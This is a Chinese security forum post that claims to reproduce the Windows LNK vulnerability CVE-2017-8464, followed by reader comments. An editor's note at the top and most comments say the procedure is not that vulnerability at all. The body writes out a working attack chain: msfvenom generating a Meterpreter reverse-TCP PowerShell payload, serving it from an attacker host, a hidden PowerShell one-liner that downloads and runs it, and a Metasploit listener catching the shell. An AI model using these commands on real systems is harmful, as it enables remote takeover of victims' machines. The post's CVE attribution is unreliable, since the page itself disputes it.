CVE-2017-8464远程命令执行漏洞(震网漏洞)复现

2017-06-16 11:29:34 39 3987
经确认,这非CVE-2017-8464漏洞,真正的漏洞复现,t00ls期待中!

===================================

0x01.前言
2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危

0x02.漏洞描述
攻击者可以向用户呈现包含恶意的.LNK文件和相关联的恶意二进制文件的可移动驱动器或远程共享。 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。
注释:.LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。

0x03.漏洞利用条件和方式
远程利用

0x04.漏洞影响范围

Microsoft Windows 10 Version 1607 for 32-bit Systems
Microsoft Windows 10 Version 1607 for x64-based Systems
Microsoft Windows 10 for 32-bit Systems
Microsoft Windows 10 for x64-based Systems
Microsoft Windows 10 version 1511 for 32-bit Systems
Microsoft Windows 10 version 1511 for x64-based Systems
Microsoft Windows 10 version 1703 for 32-bit Systems
Microsoft Windows 10 version 1703 for x64-based Systems
Microsoft Windows 7 for 32-bit Systems SP1
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows 8.1 for 32-bit Systems
Microsoft Windows 8.1 for x64-based Systems
Microsoft Windows RT 8.1


服务器系统

Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
Microsoft Windows Server 2008 R2 for x64-based Systems SP1
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016


0x05.漏洞复现

利用原理:
创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒。

环境搭建:
攻击机:kali  ip:10.0.0.140
目标靶机:win2008r2x64 ip:192.168.99.104

1.kali下生成一个反弹的 ps1的shell:
msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=10.0.0.140   lport=5555  -f  psh-reflection>/opt/search.ps1


2.切换到opt目录,然后查看到已生成了search.ps1 的powershell 后门

cd /opt
ls




3.将生成的search.ps1拷贝到/var/www/html目录下

mv  search.ps1  /var/www/html
ls




4.启动apache服务

service apache2 start




5.访问web下的search.ps1,可以直接访问:



6.在靶机上创建一个powershell远程快捷:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1"


7.名称为:powershell.exe


8.kali下创建监听反弹,并且可以看到成功反弹出靶机的shell:
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 10.0.0.140
set lport  5555   
exploit




关于作者

backlion24篇文章238篇回复

低调求技术提升!

评论39次

要评论?请先  登录  或  注册
  • 39楼
    2017-8-11 11:47
    PSoul

    这个过程就是,我创建了一个远控,你下载了我的远控,然后你被我控制了,这特马也叫漏洞??这漏洞在什么地方??这就是个简单的创建快捷方式并执行的过程好吧。。。

    1

    不能再赞同。。

  • 38楼
    2017-8-3 13:00

    这个不是真正的8464漏洞复现,我在嘶吼看到过真正的漏洞复现,漏洞可以在以下任一条件下触发:1、系统开启U盘自动播放功能,插入U盘,漏洞触发 2、通过网络共享访问该文件目录 3、直接访问该文件目录msf的对应rb是成品:

  • 37楼
    2017-6-22 08:59

    感觉是没用的,还请高人指点

  • 36楼
    2017-6-21 11:29

    难道是我的错觉,我去年玩过创建快捷方式执行powershell,然后去下载并执行远控。感觉和这个的描述很像啊

  • 35楼
    2017-6-21 10:42
    building

    我说了解这个cve之后怎么感觉不怎么叼,之前不久有人提过利用lnk来执行程序嘛,按说本是奇技淫巧,现在反而成远程命令执行了。。。

    1

    看之前漏洞描述应该是跟ms10061同样的效果.

  • 34楼
    2017-6-20 22:41

    我记得前几天安全圈论坛发出来过,基本上属于相同的

  • 33楼
    2017-6-20 11:12

    我都能建快捷方式了 干嘛还这么费力

  • 32楼
    2017-6-20 10:21

    这个漏洞可以说不算是啥漏洞,这个和以前的快捷方式执行dos命令差不多哈

  • 31楼
    2017-6-19 15:56

    已经复现成功了,不过感觉有毒.

  • 30楼
    2017-6-19 09:35

    小能手。。这真的不算8464。。

  • 29楼
    2017-6-19 09:07

    亮点呢?这也叫漏洞?

  • 28楼
    2017-6-18 11:48

    不太实用吧,比较鸡肋!

  • 27楼
    2017-6-16 18:38

    这也叫RCE吗

  • 26楼
    2017-6-16 17:53
    PSoul

    这个过程就是,我创建了一个远控,你下载了我的远控,然后你被我控制了,这特马也叫漏洞??这漏洞在什么地方??这就是个简单的创建快捷方式并执行的过程好吧。。。

    1

    同意楼上的观点,我看了半天,都不知道亮点在那,如果这样,远控存的在意义是什么?还是因为powershell 有微软的签名可以过世界杀软?

  • 25楼
    2017-6-16 16:27

    这个网上有利用方式了,可以根据它们的利用方式运用到实际的环境中去。

  • 24楼
    2017-6-16 15:29

    这个感觉跟之前毛子放出来的工具差别不大

  • 23楼
    2017-6-16 15:17

    楼上各位太激动了,这其实是个很好的钓鱼利用方式,微软会专门发布安全公告,说明已经被利用的面积已经很大了……这个东西在很多地方利用价值是很大的……没有0DAY,这个之前微软也不当是漏洞,大家用得也开心。

  • 22楼
    2017-6-16 15:08

    这个算是漏洞么?很早之前就用过了的一种欺骗提权或者说钓鱼的方法吧,怎么就成了RCE了呢

  • 21楼
    2017-6-16 14:28

    感觉用处不太大啊,有目标主机权限了用这玩意儿干嘛,

  • 20楼
    2017-6-16 14:14

    我也感觉碰到个假漏洞